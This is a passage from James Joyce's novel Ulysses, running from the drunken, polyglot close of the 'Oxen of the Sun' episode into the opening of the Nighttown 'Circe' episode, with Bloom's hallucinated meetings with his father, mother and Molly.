bunions, hayfever, +bedsores, ringworm, floating kidney, Derbyshire neck, warts, bilious +attacks, gallstones, cold feet, varicose veins. A truce to threnes and +trentals and jeremies and all such congenital defunctive music! Twenty +years of it, regret them not. With thee it was not as with many that will +and would and wait and never--do. Thou sawest thy America, thy lifetask, +and didst charge to cover like the transpontine bison. How saith +Zarathustra? DEINE KUH TRUBSAL MELKEST DU. NUN TRINKST DU DIE SUSSE MILCH +DES EUTERS. See! it displodes for thee in abundance. Drink, man, an +udderful! Mother's milk, Purefoy, the milk of human kin, milk too of +those burgeoning stars overhead rutilant in thin rainvapour, punch milk, +such as those rioters will quaff in their guzzling den, milk of madness, +the honeymilk of Canaan's land. Thy cow's dug was tough, what? Ay, but +her milk is hot and sweet and fattening. No dollop this but thick rich +bonnyclaber. To her, old patriarch! Pap! PER DEAM PARTULAM ET PERTUNDAM +NUNC EST BIBENDUM! + +All off for a buster, armstrong, hollering down the street. Bonafides. +Where you slep las nigh? Timothy of the battered naggin. Like ole Billyo. +Any brollies or gumboots in the fambly? Where the Henry Nevil's sawbones +and ole clo? Sorra one o' me knows. Hurrah there, Dix! Forward to the +ribbon counter. Where's Punch? All serene. Jay, look at the drunken +minister coming out of the maternity hospal! BENEDICAT VOS OMNIPOTENS +DEUS, PATER ET FILIUS. A make, mister. The Denzille lane boys. Hell, +blast ye! Scoot. Righto, Isaacs, shove em out of the bleeding limelight. +Yous join uz, dear sir? No hentrusion in life. Lou heap good man. Allee +samee dis bunch. EN AVANT, MES ENFANTS! Fire away number one on the gun. +Burke's! Burke's! Thence they advanced five parasangs. Slattery's mounted +foot. Where's that bleeding awfur? Parson Steve, apostates' creed! No, +no, Mulligan! Abaft there! Shove ahead. Keep a watch on the clock. +Chuckingout time. Mullee! What's on you? MA MERE M'A MARIEE. British +Beatitudes! RETAMPLATAN DIGIDI BOUMBOUM. Ayes have it. To be printed and +bound at the Druiddrum press by two designing females. Calf covers of +pissedon green. Last word in art shades. Most beautiful book come out of +Ireland my time. SILENTIUM! Get a spurt on. Tention. Proceed to nearest +canteen and there annex liquor stores. March! Tramp, tramp, tramp, the +boys are (atitudes!) parching. Beer, beef, business, bibles, bulldogs +battleships, buggery and bishops. Whether on the scaffold high. Beer, +beef, trample the bibles. When for Irelandear. Trample the trampellers. +Thunderation! Keep the durned millingtary step. We fall. Bishops +boosebox. Halt! Heave to. Rugger. Scrum in. No touch kicking. Wow, my +tootsies! You hurt? Most amazingly sorry! + +Query. Who's astanding this here do? Proud possessor of damnall. Declare +misery. Bet to the ropes. Me nantee saltee. Not a red at me this week +gone. Yours? Mead of our fathers for the UBERMENSCH. Dittoh. Five number +ones. You, sir? Ginger cordial. Chase me, the cabby's caudle. Stimulate +the caloric. Winding of his ticker. Stopped short never to go again when +the old. Absinthe for me, savvy? CARAMBA! Have an eggnog or a prairie +oyster. Enemy? Avuncular's got my timepiece. Ten to. Obligated awful. +Don't mention it. Got a pectoral trauma, eh, Dix? Pos fact. Got bet be a +boomblebee whenever he wus settin sleepin in hes bit garten. Digs up near +the Mater. Buckled he is. Know his dona? Yup, sartin I do. Full of a +dure. See her in her dishybilly. Peels off a credit. Lovey lovekin. None +of your lean kine, not much. Pull down the blind, love. Two Ardilauns. +Same here. Look slippery. If you fall don't wait to get up. Five, seven, +nine. Fine! Got a prime pair of mincepies, no kid. And her take me to +rests and her anker of rum. Must be seen to be believed. Your starving +eyes and allbeplastered neck you stole my heart, O gluepot. Sir? Spud +again the rheumatiz? All poppycock, you'll scuse me saying. For the hoi +polloi. I vear thee beest a gert vool. Well, doc? Back fro Lapland? Your +corporosity sagaciating O K? How's the squaws and papooses? Womanbody +after going on the straw? Stand and deliver. Password. There's hair. Ours +the white death and the ruddy birth. Hi! Spit in your own eye, boss! +Mummer's wire. Cribbed out of Meredith. Jesified, orchidised, polycimical +jesuit! Aunty mine's writing Pa Kinch. Baddybad Stephen lead astray +goodygood Malachi. + +Hurroo! Collar the leather, youngun. Roun wi the nappy. Here, Jock braw +Hielentman's your barleybree. Lang may your lum reek and your kailpot +boil! My tipple. MERCI. Here's to us. How's that? Leg before wicket. +Don't stain my brandnew sitinems. Give's a shake of peppe, you there. +Catch aholt. Caraway seed to carry away. Twig? Shrieks of silence. Every +cove to his gentry mort. Venus Pandemos. LES PETITES FEMMES. Bold bad +girl from the town of Mullingar. Tell her I was axing at her. Hauding +Sara by the wame. On the road to Malahide. Me? If she who seduced me had +left but the name. What do you want for ninepence? Machree, macruiskeen. +Smutty Moll for a mattress jig. And a pull all together. EX! + +Waiting, guvnor? Most deciduously. Bet your boots on. Stunned like, +seeing as how no shiners is acoming. Underconstumble? He've got the chink +AD LIB. Seed near free poun on un a spell ago a said war hisn. Us come +right in on your invite, see? Up to you, matey. Out with the oof. Two bar +and a wing. You larn that go off of they there Frenchy bilks? Won't wash +here for nuts nohow. Lil chile velly solly. Ise de cutest colour coon +down our side. Gawds teruth, Chawley. We are nae fou. We're nae tha fou. +Au reservoir, mossoo. Tanks you. + +'Tis, sure. What say? In the speakeasy. Tight. I shee you, shir. Bantam, +two days teetee. Bowsing nowt but claretwine. Garn! Have a glint, do. +Gum, I'm jiggered. And been to barber he have. Too full for words. With a +railway bloke. How come you so? Opera he'd like? Rose of Castile. Rows of +cast. Police! Some H2O for a gent fainted. Look at Bantam's flowers. +Gemini. He's going to holler. The colleen bawn. My colleen bawn. O, +cheese it! Shut his blurry Dutch oven with a firm hand. Had the winner +today till I tipped him a dead cert. The ruffin cly the nab of Stephen +Hand as give me the jady coppaleen. He strike a telegramboy paddock wire +big bug Bass to the depot. Shove him a joey and grahamise. Mare on form +hot order. Guinea to a goosegog. Tell a cram, that. Gospeltrue. Criminal +diversion? I think that yes. Sure thing. Land him in chokeechokee if the +harman beck copped the game. Madden back Madden's a maddening back. O +lust our refuge and our strength. Decamping. Must you go? Off to mammy. +Stand by. Hide my blushes someone. All in if he spots me. Come ahome, our +Bantam. Horryvar, mong vioo. Dinna forget the cowslips for hersel. +Cornfide. Wha gev ye thon colt? Pal to pal. Jannock. Of John Thomas, her +spouse. No fake, old man Leo. S'elp me, honest injun. Shiver my timbers +if I had. There's a great big holy friar. Vyfor you no me tell? Vel, I +ses, if that aint a sheeny nachez, vel, I vil get misha mishinnah. +Through yerd our lord, Amen. + +You move a motion? Steve boy, you're going it some. More bluggy +drunkables? Will immensely splendiferous stander permit one stooder of +most extreme poverty and one largesize grandacious thirst to terminate +one expensive inaugurated libation? Give's a breather. Landlord, +landlord, have you good wine, staboo? Hoots, mon, a wee drap to pree. Cut +and come again. Right. Boniface! Absinthe the lot. NOS OMNES BIBERIMUS +VIRIDUM TOXICUM DIABOLUS CAPIAT POSTERIORIA NOSTRIA. Closingtime, gents. +Eh? Rome boose for the Bloom toff. I hear you say onions? Bloo? Cadges +ads. Photo's papli, by all that's gorgeous. Play low, pardner. Slide. +BONSOIR LA COMPAGNIE. And snares of the poxfiend. Where's the buck and +Namby Amby? Skunked? Leg bail. Aweel, ye maun e'en gang yer gates. +Checkmate. King to tower. Kind Kristyann wil yu help yung man hoose frend +tuk bungellow kee tu find plais whear tu lay crown of his hed 2 night. +Crickey, I'm about sprung. Tarnally dog gone my shins if this beent the +bestest puttiest longbreak yet. Item, curate, couple of cookies for this +child. Cot's plood and prandypalls, none! Not a pite of sheeses? Thrust +syphilis down to hell and with him those other licensed spirits. Time, +gents! Who wander through the world. Health all! A LA VOTRE! + +Golly, whatten tunket's yon guy in the mackintosh? Dusty Rhodes. Peep at +his wearables. By mighty! What's he got? Jubilee mutton. Bovril, by +James. Wants it real bad. D'ye ken bare socks? Seedy cuss in the +Richmond? Rawthere! Thought he had a deposit of lead in his penis. +Trumpery insanity. Bartle the Bread we calls him. That, sir, was once a +prosperous cit. Man all tattered and torn that married a maiden all +forlorn. Slung her hook, she did. Here see lost love. Walking Mackintosh +of lonely canyon. Tuck and turn in. Schedule time. Nix for the hornies. +Pardon? Seen him today at a runefal? Chum o' yourn passed in his checks? +Ludamassy! Pore piccaninnies! Thou'll no be telling me thot, Pold veg! +Did ums blubble bigsplash crytears cos fren Padney was took off in black +bag? Of all de darkies Massa Pat was verra best. I never see the like +since I was born. TIENS, TIENS, but it is well sad, that, my faith, yes. +O, get, rev on a gradient one in nine. Live axle drives are souped. Lay +you two to one Jenatzy licks him ruddy well hollow. Jappies? High angle +fire, inyah! Sunk by war specials. Be worse for him, says he, nor any +Rooshian. Time all. There's eleven of them. Get ye gone. Forward, woozy +wobblers! Night. Night. May Allah the Excellent One your soul this night +ever tremendously conserve. + +Your attention! We're nae tha fou. The Leith police dismisseth us. The +least tholice. Ware hawks for the chap puking. Unwell in his abominable +regions. Yooka. Night. Mona, my true love. Yook. Mona, my own love. Ook. + +Hark! Shut your obstropolos. Pflaap! Pflaap! Blaze on. There she goes. +Brigade! Bout ship. Mount street way. Cut up! Pflaap! Tally ho. You not +come? Run, skelter, race. Pflaaaap! + +Lynch! Hey? Sign on long o' me. Denzille lane this way. Change here for +Bawdyhouse. We two, she said, will seek the kips where shady Mary is. +Righto, any old time. LAETABUNTUR IN CUBILIBUS SUIS. You coming long? +Whisper, who the sooty hell's the johnny in the black duds? Hush! Sinned +against the light and even now that day is at hand when he shall come to +judge the world by fire. Pflaap! UT IMPLERENTUR SCRIPTURAE. Strike up a +ballad. Then outspake medical Dick to his comrade medical Davy. +Christicle, who's this excrement yellow gospeller on the Merrion hall? +Elijah is coming! Washed in the blood of the Lamb. Come on you +winefizzling, ginsizzling, booseguzzling existences! Come on, you dog- +gone, bullnecked, beetlebrowed, hogjowled, peanutbrained, weaseleyed +fourflushers, false alarms and excess baggage! Come on, you triple +extract of infamy! Alexander J Christ Dowie, that's my name, that's +yanked to glory most half this planet from Frisco beach to Vladivostok. +The Deity aint no nickel dime bumshow. I put it to you that He's on the +square and a corking fine business proposition. He's the grandest thing +yet and don't you forget it. Shout salvation in King Jesus. You'll need +to rise precious early you sinner there, if you want to diddle the +Almighty God. Pflaaaap! Not half. He's got a coughmixture with a punch in +it for you, my friend, in his back pocket. Just you try it on. + + + * * * * * * * + + +THE MABBOT STREET ENTRANCE OF NIGHTTOWN, BEFORE WHICH STRETCHES AN +UNCOBBLED TRAMSIDING SET WITH SKELETON TRACKS, RED AND GREEN WILL-O'-THE- +WISPS AND DANGER SIGNALS. ROWS OF GRIMY HOUSES WITH GAPING DOORS. RARE +LAMPS WITH FAINT RAINBOW FINS. ROUND RABAIOTTI'S HALTED ICE GONDOLA +STUNTED MEN AND WOMEN SQUABBLE. THEY GRAB WAFERS BETWEEN WHICH ARE WEDGED +LUMPS OF CORAL AND COPPER SNOW. SUCKING, THEY SCATTER SLOWLY. CHILDREN. +THE SWANCOMB OF THE GONDOLA, HIGHREARED, FORGES ON THROUGH THE MURK, +WHITE AND BLUE UNDER A LIGHTHOUSE. WHISTLES CALL AND ANSWER. + +THE CALLS: Wait, my love, and I'll be with you. + +THE ANSWERS: Round behind the stable. + +(A DEAFMUTE IDIOT WITH GOGGLE EYES, HIS SHAPELESS MOUTH DRIBBLING, JERKS +PAST, SHAKEN IN SAINT VITUS' DANCE. A CHAIN OF CHILDREN 'S HANDS +IMPRISONS HIM.) + +THE CHILDREN: Kithogue! Salute! + +THE IDIOT: (LIFTS A PALSIED LEFT ARM AND GURGLES) Grhahute! + +THE CHILDREN: Where's the great light? + +THE IDIOT: (GOBBING) Ghaghahest. + +(THEY RELEASE HIM. HE JERKS ON. A PIGMY WOMAN SWINGS ON A ROPE SLUNG +BETWEEN TWO RAILINGS, COUNTING. A FORM SPRAWLED AGAINST A DUSTBIN AND +MUFFLED BY ITS ARM AND HAT SNORES, GROANS, GRINDING GROWLING TEETH, AND +SNORES AGAIN. ON A STEP A GNOME TOTTING AMONG A RUBBISHTIP CROUCHES TO +SHOULDER A SACK OF RAGS AND BONES. A CRONE STANDING BY WITH A SMOKY +OILLAMP RAMS HER LAST BOTTLE IN THE MAW OF HIS SACK. HE HEAVES HIS BOOTY, +TUGS ASKEW HIS PEAKED CAP AND HOBBLES OFF MUTELY. THE CRONE MAKES BACK +FOR HER LAIR, SWAYING HER LAMP. A BANDY CHILD, ASQUAT ON THE DOORSTEP +WITH A PAPER SHUTTLECOCK, CRAWLS SIDLING AFTER HER IN SPURTS, CLUTCHES +HER SKIRT, SCRAMBLES UP. A DRUNKEN NAVVY GRIPS WITH BOTH HANDS THE +RAILINGS OF AN AREA, LURCHING HEAVILY. AT A COMER TWO NIGHT WATCH IN +SHOULDERCAPES, THEIR HANDS UPON THEIR STAFFHOLSTERS, LOOM TALL. A PLATE +CRASHES: A WOMAN SCREAMS: A CHILD WAILS. OATHS OF A MAN ROAR, MUTTER, +CEASE. FIGURES WANDER, LURK, PEER FROM WARRENS. IN A ROOM LIT BY A CANDLE +STUCK IN A BOTTLENECK A SLUT COMBS OUT THE TATTS FROM THE HAIR OF A +SCROFULOUS CHILD. CISSY CAFFREY'S VOICE, STILL YOUNG, SINGS SHRILL FROM A +LANE.) + +CISSY CAFFREY: + + + I GAVE IT TO MOLLY + BECAUSE SHE WAS JOLLY, + THE LEG OF THE DUCK, + THE LEG OF THE DUCK. + + +(PRIVATE CARR AND PRIVATE COMPTON, SWAGGERSTICKS TIGHT IN THEIR OXTERS, +AS THEY MARCH UNSTEADILY RIGHTABOUTFACE AND BURST TOGETHER FROM THEIR +MOUTHS A VOLLEYED FART. LAUGHTER OF MEN FROM THE LANE. A HOARSE VIRAGO +RETORTS.) + +THE VIRAGO: Signs on you, hairy arse. More power the Cavan girl. + +CISSY CAFFREY: More luck to me. Cavan, Cootehill and Belturbet. (SHE +SINGS) + + + I GAVE IT TO NELLY + TO STICK IN HER BELLY, + THE LEG OF THE DUCK, + THE LEG OF THE DUCK. + + +(PRIVATE CARR AND PRIVATE COMPTON TURN AND COUNTERRETORT, THEIR TUNICS +BLOODBRIGHT IN A LAMPGLOW, BLACK SOCKETS OF CAPS ON THEIR BLOND CROPPED +POLLS. STEPHEN DEDALUS AND LYNCH PASS THROUGH THE CROWD CLOSE TO THE +REDCOATS.) + +PRIVATE COMPTON: (JERKS HIS FINGER) Way for the parson. + +PRIVATE CARR: (TURNS AND CALLS) What ho, parson! + +CISSY CAFFREY: (HER VOICE SOARING HIGHER) + + + SHE HAS IT, SHE GOT IT, + WHEREVER SHE PUT IT, + THE LEG OF THE DUCK. + + +(STEPHEN, FLOURISHING THE ASHPLANT IN HIS LEFT HAND, CHANTS WITH JOY THE +INTROIT FOR PASCHAL TIME. LYNCH, HIS JOCKEYCAP LOW ON HIS BROW, ATTENDS +HIM, A SNEER OF DISCONTENT WRINKLING HIS FACE.) + +STEPHEN: VIDI AQUAM EGREDIENTEM DE TEMPLO A LATERE DEXTRO. ALLELUIA. + +(THE FAMISHED SNAGGLETUSKS OF AN ELDERLY BAWD PROTRUDE FROM A DOORWAY.) + +THE BAWD: (HER VOICE WHISPERING HUSKILY) Sst! Come here till I tell you. +Maidenhead inside. Sst! + +STEPHEN: (ALTIUS ALIQUANTULUM) ET OMNES AD QUOS PERVENIT AQUA ISTA. + +THE BAWD: (SPITS IN THEIR TRAIL HER JET OF VENOM) Trinity medicals. +Fallopian tube. All prick and no pence. + +(EDY BOARDMAN, SNIFFLING, CROUCHED WITH BERTHA SUPPLE, DRAWS HER SHAWL +ACROSS HER NOSTRILS.) + +EDY BOARDMAN: (BICKERING) And says the one: I seen you up Faithful place +with your squarepusher, the greaser off the railway, in his cometobed +hat. Did you, says I. That's not for you to say, says I. You never seen +me in the mantrap with a married highlander, says I. The likes of her! +Stag that one is! Stubborn as a mule! And her walking with two fellows +the one time, Kilbride, the enginedriver, and lancecorporal Oliphant. + +STEPHEN: (TRIUMPHALITER) SALVI FACTI SUNT. + +(HE FLOURISHES HIS ASHPLANT, SHIVERING THE LAMP IMAGE, SHATTERING LIGHT +OVER THE WORLD. A LIVER AND WHITE SPANIEL ON THE PROWL SLINKS AFTER HIM, +GROWLING. LYNCH SCARES IT WITH A KICK.) + +LYNCH: So that? + +STEPHEN: (LOOKS BEHIND) So that gesture, not music not odour, would be a +universal language, the gift of tongues rendering visible not the lay +sense but the first entelechy, the structural rhythm. + +LYNCH: Pornosophical philotheology. Metaphysics in Mecklenburgh street! + +STEPHEN: We have shrewridden Shakespeare and henpecked Socrates. Even the +allwisest Stagyrite was bitted, bridled and mounted by a light of love. + +LYNCH: Ba! + +STEPHEN: Anyway, who wants two gestures to illustrate a loaf and a jug? +This movement illustrates the loaf and jug of bread or wine in Omar. Hold +my stick. + +LYNCH: Damn your yellow stick. Where are we going? + +STEPHEN: Lecherous lynx, TO LA BELLE DAME SANS MERCI, Georgina Johnson, +AD DEAM QUI LAETIFICAT IUVENTUTEM MEAM. + +(STEPHEN THRUSTS THE ASHPLANT ON HIM AND SLOWLY HOLDS OUT HIS HANDS, HIS +HEAD GOING BACK TILL BOTH HANDS ARE A SPAN FROM HIS BREAST, DOWN TURNED, +IN PLANES INTERSECTING, THE FINGERS ABOUT TO PART, THE LEFT BEING +HIGHER.) + +LYNCH: Which is the jug of bread? It skills not. That or the customhouse. +Illustrate thou. Here take your crutch and walk. + +(THEY PASS. TOMMY CAFFREY SCRAMBLES TO A GASLAMP AND, CLASPING, CLIMBS IN +SPASMS. FROM THE TOP SPUR HE SLIDES DOWN. JACKY CAFFREY CLASPS TO CLIMB. +THE NAVVY LURCHES AGAINST THE LAMP. THE TWINS SCUTTLE OFF IN THE DARK. +THE NAVVY, SWAYING, PRESSES A FOREFINGER AGAINST A WING OF HIS NOSE AND +EJECTS FROM THE FARTHER NOSTRIL A LONG LIQUID JET OF SNOT. SHOULDERING +THE LAMP HE STAGGERS AWAY THROUGH THE CROWD WITH HIS FLARING CRESSET. + +SNAKES OF RIVER FOG CREEP SLOWLY. FROM DRAINS, CLEFTS, CESSPOOLS, MIDDENS +ARISE ON ALL SIDES STAGNANT FUMES. A GLOW LEAPS IN THE SOUTH BEYOND THE +SEAWARD REACHES OF THE RIVER. THE NAVVY, STAGGERING FORWARD, CLEAVES THE +CROWD AND LURCHES TOWARDS THE TRAMSIDING ON THE FARTHER SIDE UNDER THE +RAILWAY BRIDGE BLOOM APPEARS, FLUSHED, PANTING, CRAMMING BREAD AND +CHOCOLATE INTO A SIDEPOCKET. FROM GILLEN'S HAIRDRESSER'S WINDOW A +COMPOSITE PORTRAIT SHOWS HIM GALLANT NELSON'S IMAGE. A CONCAVE MIRROR AT +THE SIDE PRESENTS TO HIM LOVELORN LONGLOST LUGUBRU BOOLOOHOOM. GRAVE +GLADSTONE SEES HIM LEVEL, BLOOM FOR BLOOM. HE PASSES, STRUCK BY THE STARE +OF TRUCULENT WELLINGTON, BUT IN THE CONVEX MIRROR GRIN UNSTRUCK THE +BONHAM EYES AND FATCHUCK CHEEKCHOPS OF JOLLYPOLDY THE RIXDIX DOLDY. + +AT ANTONIO PABAIOTTI'S DOOR BLOOM HALTS, SWEATED UNDER THE BRIGHT +ARCLAMP. HE DISAPPEARS. IN A MOMENT HE REAPPEARS AND HURRIES ON.) + +BLOOM: Fish and taters. N. g. Ah! + +(HE DISAPPEARS INTO OLHAUSEN'S, THE PORKBUTCHER'S, UNDER THE DOWNCOMING +ROLLSHUTTER. A FEW MOMENTS LATER HE EMERGES FROM UNDER THE SHUTTER, +PUFFING POLDY, BLOWING BLOOHOOM. IN EACH HAND HE HOLDS A PARCEL, ONE +CONTAINING A LUKEWARM PIG'S CRUBEEN, THE OTHER A COLD SHEEP'S TROTTER, +SPRINKLED WITH WHOLEPEPPER. HE GASPS, STANDING UPRIGHT. THEN BENDING TO +ONE SIDE HE PRESSES A PARCEL AGAINST HIS RIBS AND GROANS.) + +BLOOM: Stitch in my side. Why did I run? + +(HE TAKES BREATH WITH CARE AND GOES FORWARD SLOWLY TOWARDS THE LAMPSET +SIDING. THE GLOW LEAPS AGAIN.) + +BLOOM: What is that? A flasher? Searchlight. + +(HE STANDS AT CORMACK'S CORNER, WATCHING) + +BLOOM: AURORA BOREALIS or a steel foundry? Ah, the brigade, of course. +South side anyhow. Big blaze. Might be his house. Beggar's bush. We're +safe. (HE HUMS CHEERFULLY) London's burning, London's burning! On fire, +on fire! (HE CATCHES SIGHT OF THE NAVVY LURCHING THROUGH THE CROWD AT THE +FARTHER SIDE OF TALBOT STREET) I'll miss him. Run. Quick. Better cross +here. + +(HE DARTS TO CROSS THE ROAD. URCHINS SHOUT.) + +THE URCHINS: Mind out, mister! (TWO CYCLISTS, WITH LIGHTED PAPER LANTERNS +ASWING, SWIM BY HIM, GRAZING HIM, THEIR BELLS RATTLING) + +THE BELLS: Haltyaltyaltyall. + +BLOOM: (HALTS ERECT, STUNG BY A SPASM) Ow! + +(HE LOOKS ROUND, DARTS FORWARD SUDDENLY. THROUGH RISING FOG A DRAGON +SANDSTREWER, TRAVELLING AT CAUTION, SLEWS HEAVILY DOWN UPON HIM, ITS HUGE +RED HEADLIGHT WINKING, ITS TROLLEY HISSING ON THE WIRE. THE MOTORMAN +BANGS HIS FOOTGONG.) + +THE GONG: Bang Bang Bla Bak Blud Bugg Bloo. + +(THE BRAKE CRACKS VIOLENTLY. BLOOM, RAISING A POLICEMAN'S WHITEGLOVED +HAND, BLUNDERS STIFFLEGGED OUT OF THE TRACK. THE MOTORMAN, THROWN +FORWARD, PUGNOSED, ON THE GUIDEWHEEL, YELLS AS HE SLIDES PAST OVER CHAINS +AND KEYS.) + +THE MOTORMAN: Hey, shitbreeches, are you doing the hat trick? + +BLOOM: (BLOOM TRICKLEAPS TO THE CURBSTONE AND HALTS AGAIN. HE BRUSHES A +MUDFLAKE FROM HIS CHEEK WITH A PARCELLED HAND.) No thoroughfare. Close +shave that but cured the stitch. Must take up Sandow's exercises again. +On the hands down. Insure against street accident too. The Providential. +(HE FEELS HIS TROUSER POCKET) Poor mamma's panacea. Heel easily catch in +track or bootlace in a cog. Day the wheel of the black Maria peeled off +my shoe at Leonard's corner. Third time is the charm. Shoe trick. +Insolent driver. I ought to report him. Tension makes them nervous. Might +be the fellow balked me this morning with that horsey woman. Same style +of beauty. Quick of him all the same. The stiff walk. True word spoken in +jest. That awful cramp in Lad lane. Something poisonous I ate. Emblem of +luck. Why? Probably lost cattle. Mark of the beast. (HE CLOSES HIS EYES +AN INSTANT) Bit light in the head. Monthly or effect of the other. +Brainfogfag. That tired feeling. Too much for me now. Ow! + +(A SINISTER FIGURE LEANS ON PLAITED LEGS AGAINST O'BEIRNE'S WALL, A +VISAGE UNKNOWN, INJECTED WITH DARK MERCURY. FROM UNDER A WIDELEAVED +SOMBRERO THE FIGURE REGARDS HIM WITH EVIL EYE.) + +BLOOM: BUENAS NOCHES, SENORITA BLANCA. QUE CALLE ES ESTA? + +THE FIGURE: (IMPASSIVE, RAISES A SIGNAL ARM) Password. SRAID MABBOT. + +BLOOM: Haha. MERCI. Esperanto. SLAN LEATH. (HE MUTTERS) Gaelic league +spy, sent by that fireeater. + +(HE STEPS FORWARD. A SACKSHOULDERED RAGMAN BARS HIS PATH. HE STEPS LEFT, +RAGSACKMAN LEFT.) + +BLOOM: I beg. (HE SWERVES, SIDLES, STEPASIDE, SLIPS PAST AND ON.) + +BLOOM: Keep to the right, right, right. If there is a signpost planted by +the Touring Club at Stepaside who procured that public boon? I who lost +my way and contributed to the columns of the IRISH CYCLIST the letter +headed IN DARKEST STEPASIDE. Keep, keep, keep to the right. Rags and +bones at midnight. A fence more likely. First place murderer makes for. +Wash off his sins of the world. + +(JACKY CAFFREY, HUNTED BY TOMMY CAFFREY, RUNS FULL TILT AGAINST BLOOM.) + +BLOOM: O + +(SHOCKED, ON WEAK HAMS, HE HALTS. TOMMY AND JACKY VANISH THERE, THERE. +BLOOM PATS WITH PARCELLED HANDS WATCH FOBPOCKET, BOOKPOCKET, PURSEPOKET, +SWEETS OF SIN, POTATO SOAP.) + +BLOOM: Beware of pickpockets. Old thieves' dodge. Collide. Then snatch +your purse. + +(THE RETRIEVER APPROACHES SNIFFING, NOSE TO THE GROUND. A SPRAWLED FORM +SNEEZES. A STOOPED BEARDED FIGURE APPEARS GARBED IN THE LONG CAFTAN OF AN +ELDER IN ZION AND A SMOKINGCAP WITH MAGENTA TASSELS. HORNED SPECTACLES +HANG DOWN AT THE WINGS OF THE NOSE. YELLOW POISON STREAKS ARE ON THE +DRAWN FACE.) + +RUDOLPH: Second halfcrown waste money today. I told you not go with +drunken goy ever. So you catch no money. + +BLOOM: (HIDES THE CRUBEEN AND TROTTER BEHIND HIS BACK AND, CRESTFALLEN, +FEELS WARM AND COLD FEETMEAT) JA, ICH WEISS, PAPACHI. + +RUDOLPH: What you making down this place? Have you no soul? (WITH FEEBLE +VULTURE TALONS HE FEELS THE SILENT FACE OF BLOOM) Are you not my son +Leopold, the grandson of Leopold? Are you not my dear son Leopold who +left the house of his father and left the god of his fathers Abraham and +Jacob? + +BLOOM: (WITH PRECAUTION) I suppose so, father. Mosenthal. All that's left +of him. + +RUDOLPH: (SEVERELY) One night they bring you home drunk as dog after +spend your good money. What you call them running chaps? + +BLOOM: (IN YOUTH'S SMART BLUE OXFORD SUIT WITH WHITE VESTSLIPS, +NARROWSHOULDERED, IN BROWN ALPINE HAT, WEARING GENT'S STERLING SILVER +WATERBURY KEYLESS WATCH AND DOUBLE CURB ALBERT WITH SEAL ATTACHED, ONE +SIDE OF HIM COATED WITH STIFFENING MUD) Harriers, father. Only that once. + +RUDOLPH: Once! Mud head to foot. Cut your hand open. Lockjaw. They make +you kaputt, Leopoldleben. You watch them chaps. + +BLOOM: (WEAKLY) They challenged me to a sprint. It was muddy. I slipped. + +RUDOLPH: (WITH CONTEMPT) GOIM NACHEZ! Nice spectacles for your poor +mother! + +BLOOM: Mamma! + +ELLEN BLOOM: (IN PANTOMIME DAME'S STRINGED MOBCAP, WIDOW TWANKEY'S +CRINOLINE AND BUSTLE, BLOUSE WITH MUTTONLEG SLEEVES BUTTONED BEHIND, GREY +MITTENS AND CAMEO BROOCH, HER PLAITED HAIR IN A CRISPINE NET, APPEARS +OVER THE STAIRCASE BANISTERS, A SLANTED CANDLESTICK IN HER HAND, AND +CRIES OUT IN SHRILL ALARM) O blessed Redeemer, what have they done to +him! My smelling salts! (SHE HAULS UP A REEF OF SKIRT AND RANSACKS THE +POUCH OF HER STRIPED BLAY PETTICOAT. A PHIAL, AN AGNUS DEI, A SHRIVELLED +POTATO AND A CELLULOID DOLL FALL OUT) Sacred Heart of Mary, where were +you at all at all? + +(BLOOM, MUMBLING, HIS EYES DOWNCAST, BEGINS TO BESTOW HIS PARCELS IN HIS +FILLED POCKETS BUT DESISTS, MUTTERING.) + +A VOICE: (SHARPLY) Poldy! + +BLOOM: Who? (HE DUCKS AND WARDS OFF A BLOW CLUMSILY) At your service. + +(HE LOOKS UP. BESIDE HER MIRAGE OF DATEPALMS A HANDSOME WOMAN IN TURKISH +COSTUME STANDS BEFORE HIM. OPULENT CURVES FILL OUT HER SCARLET TROUSERS +AND JACKET, SLASHED WITH GOLD. A WIDE YELLOW CUMMERBUND GIRDLES HER. A +WHITE YASHMAK, VIOLET IN THE NIGHT, COVERS HER FACE, LEAVING FREE ONLY +HER LARGE DARK EYES AND RAVEN HAIR.) + +BLOOM: Molly! + +MARION: Welly? Mrs Marion from this out, my dear man, when you speak to +me. (SATIRICALLY) Has poor little hubby cold feet waiting so long? + +BLOOM: (SHIFTS FROM FOOT TO FOOT) No, no. Not the least little bit. + +(HE BREATHES IN DEEP AGITATION, SWALLOWING GULPS OF AIR, QUESTIONS, +HOPES, CRUBEENS FOR HER SUPPER, THINGS TO TELL HER, EXCUSE, DESIRE, +SPELLBOUND. A COIN GLEAMS ON HER FOREHEAD. ON HER FEET ARE JEWELLED +TOERINGS. HER ANKLES ARE LINKED BY A SLENDER FETTERCHAIN. BESIDE HER A +CAMEL, HOODED WITH A TURRETING TURBAN, WAITS. A SILK LADDER OF +INNUMERABLE RUNGS CLIMBS TO HIS BOBBING HOWDAH. HE AMBLES NEAR WITH +DISGRUNTLED HINDQUARTERS. FIERCELY SHE SLAPS HIS HAUNCH, HER GOLDCURB +WRISTBANGLES ANGRILING, SCOLDING HIM IN MOORISH.) + +MARION: Nebrakada! Femininum! + +(THE CAMEL, LIFTING A FORELEG, PLUCKS FROM A TREE A LARGE MANGO FRUIT, +OFFERS IT TO HIS MISTRESS, BLINKING, IN HIS CLOVEN HOOF, THEN DROOPS HIS +HEAD AND, GRUNTING, WITH UPLIFTED NECK, FUMBLES TO KNEEL. BLOOM STOOPS +HIS BACK FOR LEAPFROG.) + +BLOOM: I can give you ... I mean as your business menagerer ... Mrs +Marion ... if you ... + +MARION: So you notice some change? (HER HANDS PASSING SLOWLY OVER HER +TRINKETED STOMACHER, A SLOW FRIENDLY MOCKERY IN HER EYES) O Poldy, Poldy, +you are a poor old stick in the mud! Go and see life. See the wide world. + +BLOOM: I was just going back for that lotion whitewax, orangeflower +water. Shop closes early on Thursday. But the first thing in the morning. +(HE PATS DIVERS POCKETS) This moving kidney. Ah! + +(HE POINTS TO THE SOUTH, THEN TO THE EAST. A CAKE OF NEW CLEAN LEMON SOAP +ARISES, DIFFUSING LIGHT AND PERFUME.) + +THE SOAP: + + + We're a capital couple are Bloom and I. + He brightens the earth. I polish the sky. + + +(THE FRECKLED FACE OF SWENY, THE DRUGGIST, APPEARS IN THE DISC OF THE +SOAPSUN.) + +SWENY: Three and a penny, please. + +BLOOM: Yes. For my wife. Mrs Marion. Special recipe. + +MARION: (SOFTLY) Poldy! + +BLOOM: Yes, ma'am? + +MARION: TI TREMA UN POCO IL CUORE? + +(IN DISDAIN SHE SAUNTERS AWAY, PLUMP AS A PAMPERED POUTER PIGEON, HUMMING +THE DUET FROM Don Giovanni.) + 